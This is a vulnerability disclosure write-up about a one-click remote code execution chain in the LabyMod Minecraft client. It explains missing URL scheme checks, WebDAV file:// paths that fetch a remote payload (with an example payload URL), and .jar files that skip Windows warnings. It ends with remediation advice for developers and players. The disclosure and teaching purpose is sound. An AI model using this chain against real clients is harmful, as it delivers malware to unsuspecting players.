🧱 The Path Through the Wall

Minecraft is the best-selling game in the world. Best known for its regular and free updates, open-world gameplay, but most importantly - modding capabilities.

Players can develop their own modifications for the game using popular frameworks, such as Forge or Fabric, in Java. Often developed by amateurs, such code is often held to lower quality standards, lacks proper security audits, and contains an elevated amount of mistakes.

However, while most vulnerabilities within modifications are limited to item duplication glitches, some can catastrophically affect the entire system.

This is a story about how several minor oversights chained together can enable remote code execution, - in LabyMod, a popular Minecraft client.

Let's talk about URIs and URLs. They're normally composed like this: scheme://userinfo@host:port/path?query#fragment, where:

• scheme defines the handler that should process the URL
• userinfo contains username and password (rarely used nowadays)
• host:port define the destination - commonly just a domain name
• path and query are used for resource location and extra parameters

An example URL would be: https://nk.ax/, utilizing HTTPS as scheme, and pointing to nk.ax as destination.

If we look at how Minecraft handles URLs, we will see something like this:

URI parsedUri = new URI(uri);
String scheme = parsedUri.getScheme();
if (scheme == null) {
return false;
} else {
String protocol = scheme.toLowerCase(Locale.ROOT);
return "http".equals(protocol) || "https".equals(protocol);
}

So, as we can see, Minecraft only lets HTTP and HTTPS schemes pass through. But why? Why only these two?

Well, one thing about URLs and schemes that most people don't immediately realize, is they're handled by the software installed on your computer. For Windows, https:// is handled by your default browser, steam:// is handled by Steam, but file:// is handled by Windows Shell. Should a component of your system be vulnerable, accessing it via its scheme might put your computer in danger.

But just how bad can it actually be?

LabyMod allows players to send chat messages within its ecosystem. Such messages can contain files, but also clickable links, defined like this:

• must have a valid scheme
• cannot contain spaces

These are then passed directly into an openUrl method that concludes user confirmation (are you sure you want to open this link?), but... no URL validation. Huh? What's that? Ah, that's right - LabyMod's URL parser lacks the HTTP(S) check completely!

Intrigued, I try sending the following string: file:///Windows/System32/cmd.exe. Let's break it down:

• scheme is file, telling the system to use the Windows Shell,
• in this case, the destination is /Windows/System32/cmd.exe, a local file referencing Windows Command Prompt.

And indeed, clicking on such link opens a command prompt window.

Wow!

Now, we've managed to open a local file. This file is already on the victim's filesystem - precisely, in C:/Windows/System32/cmd.exe. That's not particularly impressive!

To open URLs on Windows, Minecraft utilizes the following array: ["rundll32", "url.dll,FileProtocolHandler", url], meaning there's no way for us to pass an url that would contain any payload for cmd.exe to execute. So, we cannot run arbitrary code just yet.

BUT 🥸, to arrive at the next step, we should learn about UNC paths, and about WebDAV in particular.

WebDAV basically allows HTTP connections to be used for file-management-like operations - list directories, create folders, upload files, etc. It is natively supported by Windows and can be used for network filesystem access over HTTP.

For example, a WebDAV path can be accessed using a link like \\nk.ax\DavWWWRoot\file.txt, which is an UNC (Universal Naming Convention) path.

However, such paths can also be represented within normal file URLs like this: file:////nk.ax@59998/DavWWWRoot/payload.exe, where 59998 is the port of our WebDAV server, effectively telling the OS that the file is actually located on a remote WebDAV server.

And... bingo! Clicking the link now makes Windows download the file from http://nk.ax:59998/payload.exe, and prompts us to execute the file with a scary "Security Warning". We've effectively achieved the state where someone can click on our link, confirm opening the link, and press "Run" to run our payload! Hooray! I decided to call it a day, and reported the vulnerability for Improper Input Validation.

The End.

Hah! Just kidding! The previously reported issue was fixed fast, but I was completely dissatisfied with my findings. So I continued digging.

Soon, I've discovered code duplication - URL handling code was not unified, and appeared in different parts of the LabyMod source code with slightly different implementations. So while one instance of the issue was fixed, there was apparently a different part of the code still vulnerable to the exploit.....

In an essence, LabyMod allows servers to send specialized packets to players to interact with their game client. One of such packets allows addition of an interaction menu entry to other players - stuff such as "add to friend list", "open profile", etc.

Amongst other actions, an interaction menu entry allows opening an URL, which still allows file:// URI handler, and actually skips the Minecraft link confirmation window. That brings us down from three required interactions (click the link + Minecraft "open this link?" confirmation window + Windows Security Warning) down to just two required interactions (click in interaction menu + Windows Security Warning).

Interestingly, Windows is quite lax when it comes to these Security Warnings. It's split into different security contexts, but in our case, everything comes down to an extension check. Extensions commonly used for executable files will trigger this warning - .exe, .bat, .com, .lnk and so on.

The list of extensions is incredibly comprehensive, and yet somehow lacks one very important entry - in fact, Windows does not see .jar files as executable. Thus, no Security Warnings at all are triggered for .jar files fetched from a remote server.

This combination of circumstances enables the perfect opportunity for the malicious actor. We've now brought the amount of required interactions to just one (user should do one click for the interaction menu), which successfully establishes the finding as a One-Click Remote Code Execution vulnerability. No need to click any links, you just play on a server, press a single button, and your PC is immediately infected with malware. Woo!

Now THAT is impressive!

So, what exactly went wrong? Evidently, multiple things:

• LabyMod tried to mimic Minecraft's URL handler, but missed a crucial security check,
• code duplication made the fix improper or ineffective, and left another oversight with a missing confirmation window,
• multiple small oversights, combined, turned into a single devastating critical security vulnerability.

The lesson to be learned is DON'T allow people to use custom URI schemes. However, a broader emphasis should be put on user input overall - perhaps, the issue would not happen in the first place if the developers were more careful when dealing with URI processing.

Some operations on user input carry an elevated risk of security vulnerabilities. Identifying such risk zones should be the priority, as detecting them early shows the developer where careful consideration and more attention is required. Ideally, such approach should result in appropriate filtering of sensitive input to ensure user safety.

Now, if you're just a LabyMod 4 player, ensure you're running the latest version. By default, the client auto-updates, so you're already fully safe unless you've manually disabled auto-updates. If you utilize a legacy version, you must update right away.

Regardless, stay cautious at all times. Videogame mods might look harmless on the surface, but can sometimes hide unforeseen security issues. Don't join shady servers, don't click on shady links. Warn your friends. Stay safe!